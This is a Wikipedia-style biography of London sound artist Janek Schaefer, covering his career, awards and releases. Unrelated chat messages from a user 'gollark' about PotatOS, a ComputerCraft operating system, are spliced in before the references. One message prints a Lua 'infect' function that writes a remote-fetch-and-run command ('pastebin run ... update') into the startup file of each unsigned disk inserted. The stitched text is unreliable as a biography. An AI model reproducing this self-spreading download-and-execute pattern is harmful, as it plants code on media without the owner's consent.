Janek Schaefer

Janek Schaefer (born 1970) is a London-based sound artist, composer and entertainer. He is known for his work with sound and installation art.

Janek Schaefer

Life and career

Schaefer was born in 1970 in England to Polish and Canadian parents.[1] While studying architecture at the Royal College of Art, Schaefer recorded the fragmented noises of a sound activated dictaphone travelling overnight through the Post Office.[1] That work, titled 'Recorded Delivery' 1995 was made for the 'Self Storage' exhibition Time Out critics choice with one time postman Brian Eno and Artangel.[1] The 'Tri-phonic Turntable'[2] (1997) is listed in the Guinness Book of Records as the 'World's Most Versatile Record Player'. He has performed, lectured and exhibited widely throughout Europe Sonar, Tate Modern, ICA, USA/Canada, The Walker, XI, Mutek, Princeton, Japan, and the Sydney Opera House.[1]

His CD Above Buildings (2000) was released on Fat Cat.[3] He has played in duos and released albums with Philip Jeck (Songs for Europe CD), Robert Hampson (Comae CD), Stephan Mathieu (Hidden Name CD) and Charlemagne Palestine (Day of the Demons LP).[4] He lives and works at the audiOh! Room in Walton-on-Thames in Surrey, with his wife and two children.

He is Visiting Professor at the Sonic Art Research Unit (Oxford Brookes University).[1]

In 2009/10 the Bluecoat gallery in Liverpool mounted a retrospective exhibition of his 20-year career to date.[5]

Awards
Schaefer on the beach, 2016

In 2008, Schaefer won The British Composer of The Year Award for Sonic Art for his project Extended Play Triptych for the child survivors of war and conflict.[6] The same year he won The Paul Hamlyn Award for Composers Prize. He was the 'McKnight Composer in Residence' for the American Composers Forum, USA 2002/3. In 2004 his Random Playing LP called 'Skate' received the 'Award of Distinction' at the Prix Ars Electronica, Austria.[7]

Releases

Schaefer has released 34 albums, and runs his own label audiOh! Recordings.[8]

gollark: Um, no, that's not how it works.
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.

References
  1. "Biography". Janek Schaefer's official site. Retrieved 9 October 2019.
  2. Richardson, Mark. "Biography: Janek Schaefer". AMG. Retrieved 17 May 2010.
  3. "Janek Schaefer – Above Buildings". Discogs. Retrieved 9 October 2019.
  4. "Janek Schaefer - Discography". Discogs. Retrieved 9 October 2019.
  5. shane.phillips@splinter.co.uk, Shane Phillips. "the Bluecoat >> Janek Schaefer : Sound Art". www.thebluecoat.org.uk. Retrieved 2 November 2018.
  6. British Composer of the Year Awards 2003 - Present Archived 27 February 2012 at the Wayback Machine
  7. "Ars Electronica Archive". 90.146.8.18. Retrieved 2 November 2018.
  8. "Janek Schaefer". Discogs. Retrieved 2 November 2018.
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